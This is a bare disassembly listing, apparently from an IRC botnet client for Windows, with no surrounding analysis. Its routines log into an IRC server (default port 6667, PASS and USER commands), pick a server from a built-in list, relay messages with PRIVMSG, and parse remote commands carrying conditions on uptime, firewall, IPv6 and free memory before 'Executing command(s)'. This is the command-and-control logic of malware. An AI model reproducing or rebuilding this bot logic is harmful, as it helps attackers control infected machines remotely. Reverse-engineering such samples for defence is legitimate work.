		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DE30
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------


loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4


loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DE30
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------


loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4


loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DE30
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4


loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DE30
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------


loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4


loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DE30
		jmp	short loc_40C819
; ---------------------------------------------------------------------------


loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4


loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DE30
		jmp	short loc_40C838
; ---------------------------------------------------------------------------


loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4


loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF


loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EEC8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F048
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------


loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93C	proc near		; DATA XREF: sub_40CEB0+66o

var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_38F		= byte ptr -38Fh
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_534]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		and	[ebp+var_20C], 0


loc_40C98D:				; CODE XREF: sub_40C93C+D6j
		cmp	[ebp+var_204], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------


loc_40C998:				; CODE XREF: sub_40C93C+58j
					; sub_40C93C+79j
		mov	eax, [ebp+var_204]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------


loc_40C9A8:				; CODE XREF: sub_40C93C+68j
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------


loc_40C9B7:				; CODE XREF: sub_40C93C+6Aj
		push	[ebp+var_204]
		lea	eax, [ebp+var_38F]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_204], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------


loc_40CA17:				; CODE XREF: sub_40C93C+5Aj
		push	[ebp+var_534]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40C93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A


loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax


loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0


loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------


loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------


loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------


loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B6h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree_0	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B6h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree_0	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------


loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset sub_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: sub_4020C2+B3p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, dword_41E9A4
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E898
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41E998
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------


loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41E998
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E718
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------


loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DE30
		push	offset byte_41E718
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------


loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------


loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	off_41DA68[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------


loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA68[eax]
		push	offset dword_41E898
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA6C[eax]
		push	offset dword_41E998
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	dword_41DA70[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	dword_41DA70[eax]
		push	offset byte_41E718
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E898
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E998
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E718
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, byte_41E718
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E718
		call	sub_4105FB
		pop	ecx
		push	offset byte_41E718
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E718
		call	sub_4105AD
		pop	ecx


loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, byte_41EEC8
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EEC8
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EEC8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, byte_41F048
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F048
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------


loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F048
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h


loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, byte_41EE48
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EE48
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------


loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_188], eax
		cmp	[ebp+var_188], 4
		jnb	short loc_40D18D
		call	sub_406AE7
		test	eax, eax
		jz	loc_40D31F


